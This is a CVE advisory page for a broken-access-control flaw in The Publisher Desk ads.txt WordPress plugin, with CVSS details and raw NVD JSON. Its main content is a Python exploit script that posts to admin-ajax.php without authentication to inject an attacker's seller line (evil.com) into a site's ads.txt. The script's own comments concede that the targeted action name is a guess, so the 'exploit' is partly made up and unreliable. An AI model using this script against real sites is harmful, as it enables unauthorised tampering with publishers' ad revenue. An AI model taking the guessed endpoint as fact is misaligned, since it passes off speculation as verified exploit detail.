Security Vulnerability Report
中文
CVE-2026-39698 CVSS 5.3 MEDIUM

CVE-2026-39698

Published: 2026-04-08 09:16:42
Last Modified: 2026-04-29 10:17:42

Description

Missing Authorization vulnerability in PublisherDesk The Publisher Desk ads.txt the-publisher-desk-ads-txt allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects The Publisher Desk ads.txt: from n/a through <= 1.5.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

The Publisher Desk ads.txt <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: The Publisher Desk ads.txt < 1.5.0 - Missing Authorization PoC # Date: 2026-04-08 # Exploit Author: Security Analyst # Vendor Homepage: https://wordpress.org/plugins/the-publisher-desk-ads-txt/ # Software Link: https://downloads.wordpress.org/plugin/the-publisher-desk-ads-txt.1.5.0.zip # Version: <= 1.5.0 # CVE: CVE-2026-39698 import requests def exploit(target_url): """ Attempts to update the ads.txt content without authentication. """ # The vulnerable AJAX action endpoint (hypothetical based on plugin naming conventions) # Real-world analysis of the plugin code is required to confirm the exact action name. url = f"{target_url}/wp-admin/admin-ajax.php" # Payload to inject malicious ads.txt content payload = { "action": "tpd_save_ads_txt", # Example action name "ads_txt_content": "google.com, pub-0000000000000000, DIRECT, f08c47fec0942fa0\nevil.com, pub-9999999999999999, DIRECT, f08c47fec0942fa0" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: print(f"[*] Sending request to {url}...") response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if content was modified.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39698", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:42.307", "lastModified": "2026-04-29T10:17:41.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in PublisherDesk The Publisher Desk ads.txt the-publisher-desk-ads-txt allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects The Publisher Desk ads.txt: from n/a through <= 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/the-publisher-desk-ads-txt/vulnerability/wordpress-the-publisher-desk-ads-txt-plugin-1-5-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}